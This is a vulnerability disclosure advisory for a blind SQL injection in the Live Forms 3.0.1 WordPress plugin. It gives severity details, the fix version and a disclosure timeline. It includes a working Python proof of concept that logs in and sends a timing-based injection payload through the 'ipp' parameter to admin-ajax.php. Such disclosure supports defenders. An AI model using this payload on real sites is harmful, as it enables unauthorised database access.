Live Forms - Visual Form Builder 3.0.1, Blind SQL Injection
The AJAX action ‘get_reqlist’ is available to all logged in users. The parameter ‘ipp’ sent to this action is vulnerable to Blind MySQL Injection. This can be leveraged by detecting how long a query takes to return.
Homepage
https://wordpress.org/plugins/liveforms/
CVSS Score
3.5
CSSS Vector
(AV:N/AC:M/Au:S/C:P/I:N/A:N)
Attack Scope
remote
Authorization Required
Registered
Mitigation
Update to version 3.2.0.
Proof of Concept
import requests
s = requests.session()
target = 'http://localhost:8000'
url = '%s/wp-login.php'%target
payload = {
"log":"test",
"pwd":"test",
"wp-submit":"Log+In"
}
r = s.post(url, data=payload)
url = '%s/wp-admin/admin-ajax.php'%target
payload = {
"action":"get_reqlist",
"form_id":"1",
"ipp":"1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)"
}
headers = {
"X-Requested-With":"XMLHttpRequest"
}
r = s.post(url, data=payload, headers=headers)
Timeline
- 2015-02-16: Discovered
- 2015-03-02: Vendor notified
- 2015-03-09: Follow up email sent to vendor
- 2015-03-09: Vendor responded with intent to fix
- 2015-03-11: Version 3.2.0 released – issue resolved
- 2015-03-18: Advisory released